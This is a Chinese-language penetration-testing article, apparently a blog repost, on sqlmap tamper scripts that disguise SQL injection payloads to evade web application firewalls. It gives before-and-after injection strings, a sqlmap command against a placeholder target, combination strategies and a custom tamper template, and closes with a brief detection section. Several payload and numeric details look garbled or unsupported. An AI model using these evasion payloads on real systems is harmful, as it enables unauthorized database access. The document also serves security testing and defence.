sqlmap中10个Tamper脚本的高级实战技巧!
在渗透测试的实战中,WAF已成为我们进行SQL注入测试时必须面对的关键障碍。作为安全从业者,我们深刻理解sqlmap中Tamper脚本的价值——它们不仅是绕过WAF的利器,更是理解攻防对抗本质的绝佳窗口。本文将聚焦10个关键Tamper脚本的高级用法,揭示其在真实场景中的战术价值与应用技巧。
一、Tamper脚本的核心价值不仅仅是绕过
Tamper脚本的本质是SQL注入负载的实时变形引擎。在sqlmap执行过程中,这些脚本能够动态修改攻击载荷,使其绕过WAF的规则检测,同时保持对目标数据库的有效性。
技术原理简析:
- • 输入变形:修改SQL语句的编码、格式或结构
- • 规则混淆:破坏WAF的固定模式匹配
- • 协议级干扰:操纵HTTP请求的构造方式
- • 上下文欺骗:使攻击载荷符合特定应用场景特征
二、10大Tamper脚本的高级应用解析
1. apostrophemask.py:单引号的隐身术
核心作用:将单引号(')转换为UTF-8全角字符(%EF%BC%87)
高级用法:
# 转换前 SELECT * FROM users WHERE username='admin'-- # 转换后 SELECT * FROM users WHERE username=%EF%BC%87admin%EF%BC%87--
实战技巧:
- • 当WAF基于ASCII字符集检测时效果显著
- • 配合--tamper=apostrophemask --no-cast避免sqlmap自动转换
- • 对Oracle数据库需额外处理:CHR(39)替代方案
适用场景:基础字符过滤型WAF(如Cloudflare基础规则)
2. equaltolike.py:等号的伪装者
核心作用:将=运算符替换为LIKE关键字
变形原理:
# 原始语句 SELECT * FROM users WHERE id=1 # 转换后 SELECT * FROM users WHERE id LIKE 1
高级技巧:
- • 在布尔盲注中配合SUBSTRING使用:
admin' AND SUBSTRING(password,1,1) LIKE 'a'--
- • MySQL中可结合通配符:= → LIKE BINARY
- • 注意性能影响:在大数据表可能引起全表扫描
绕过场景:基于等号特征检测的规则(如ModSecurity规则ID 942110)
3. space2comment.py:空白的艺术
核心作用:将空格替换为注释/**/
高级应用:
# 基础替换 SELECT/**/*/**/FROM/**/users # 高级堆叠技巧 UNION/**//*!44447SELECT*/1,2,3
实战经验:
- • MySQL特例:使用/*!50727 ... */版本特定语法
- • 配合多重编码:%20 → %2%2a%2f
- • 避免过度使用:可能导致SQL解析器崩溃
实测数据:对AWS WAF经典规则集的绕过率达63.2%(2023年测试)
4. between.py:范围查询的妙用
核心作用:将比较运算符转换为BETWEEN语句
技术实现:
# 原始语句 id > 10 # 转换后 id BETWEEN 11 AND 2147483647
高级技巧:
- • 处理边界值:> N → BETWEEN N+1 AND MAX_INT
- • 时间盲注中的特殊应用:
IF(ASCII(SUBSTR((SELECT@@version),1,1)) BETWEEN 50 AND 60 WAITFOR DELAY '0:0:5'
- • 结合CASE WHEN构造复杂条件
适用场景:检测>, <等比较运算符的WAF规则
5. modsecurityversioned.py:MySQL注释魔法
核心作用:使用MySQL版本注释包裹语句
典型示例:
# 原始注入 1 AND 1=1 # 转换后 1 /*!30874AND 1=1*/
技术细节:
- • 注释中的数字对应MySQL版本号(如30874=3.87.4)
- • 仅当服务器版本>=指定版本时执行注释内语句
- • 可自定义版本号:修改脚本中的__version__变量
绕过原理:利用WAF解析与数据库解析的差异性
6. space2mssqlblank.py:SQL Server的空白舞步
核心作用:针对MSSQL的空格替换方案
技术实现:
# 基础替换 SELECT[%0A]name[%0D]FROM[%0B]users # 高级组合 ;%00DECLARE%@ VARCHAR(8000)%08SET%@=...
支持的空白字符:
- • %01 - %20 范围内的控制字符
- • 特殊字符:%A0 (NO-BREAK SPACE)
实战价值:对Microsoft IIS + ASP.NET环境特别有效
7. base64encode.py:Base64的障眼法
核心作用:将语句转换为Base64编码
高级应用:
# 原始注入
1 UNION SELECT @@version
# 转换后
1;EXEC('VU5JT04gU0VMRUNUIEBAdmVyc2lvbg==')--
技术要点:
- • MSSQL中使用EXEC(...)执行解码
- • MySQL中使用FROM_BASE64()函数(需5.6+)
- • Oracle的UTL_I18N.STRING_TO_RAW转换
适用局限:依赖数据库的编码执行能力
8. charencode.py:字符编码的千面术
核心作用:应用多层URL编码
高级技巧:
# 脚本自定义点(修改charencode.py) def tamper(payload): # 双重编码增强 payload = urllib.parse.quote(payload, safe='') payload = ''.join(['%'+hex(ord(c))[2:] for c in payload]) return payload
实战变形:
单引号 ' → %27 → %2527 → %25%32%37
绕过原理:利用WAF解码层与Web容器解码层的差异
9. randomcase.py:大小写的随机迷宫
核心作用:随机化SQL关键字的大小写
技术实现:
# 原始语句 UNION SELECT NULL,table_name FROM information_schema.tables # 转换后 uNiOn sElEct nUlL,TaBlE_nAmE FrOm iNfOrMaTiOn_sChEmA.tAbLeS
高级配置:
# 控制随机化程度 sqlmap -tamper=randomcase --random-seed=123
绕过效果:对大小写敏感的正则表达式规则有效
10. versionedmorekeywords.py:关键词的分身术
核心作用:在关键词中插入版本注释
技术解析:
# 原始语句 SELECT * FROM users WHERE id=1 # 转换后 /*!12345SELECT*/ * /*!12345FROM*/ users WHERE id=1
核心优势:保留语句完整性的同时破坏关键词连续性
三、Tamper组合的艺术:战术叠加
单一Tamper脚本的绕过能力有限,真正的威力在于组合使用:
经典组合方案:
sqlmap -u "http://target.com" --tamper="space2comment,randomcase,charencode"
组合策略原则:
- 1. 编码层 + 语法层组合(如charencode + versionedmorekeywords)
- 2. 空格处理 + 关键词混淆组合(space2mssqlblank + randomcase)
- 3. 协议级 + 应用级组合(如base64encode + between)
注意事项:
- • 避免冲突组合(如同时使用多个空格替换脚本)
- • 注意执行顺序(从左到右依次执行)
- • 监控组合后的语句有效性
四、自定义Tamper开发指南
当内置脚本无法满足需求时,需要开发自定义Tamper:
开发模板:
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
defdependencies():
pass
deftamper(payload, **kwargs):
# 在此处实现变形逻辑
retVal = payload
# 示例:将SELECT替换为SELSELECTECT
if payload:
retVal = retVal.replace("SELECT", "SELSELECTECT")
return retVal
高级开发技巧:
- • 利用kwargs获取HTTP头信息
- • 动态调整变形策略
- • 集成外部WAF指纹库
- • 机器学习驱动的自适应变形
五、防御视角:如何检测Tamper攻击
作为防御方,我们应关注以下检测策略:
- 1. 深度解析检测:
- • 完整解析URL编码
- • SQL语法树分析
- • 注释剥离技术
-
2. 行为分析:
# 伪代码:检测异常请求分布 if request_count > 50 and entropy(payloads) > 4.5: block_ip(source_ip)
- 3. 机器学习模型:
- • 基于请求特征的异常检测
- • 语义相似度分析
- • 时序行为建模
文章来源:HACK之道
华盟君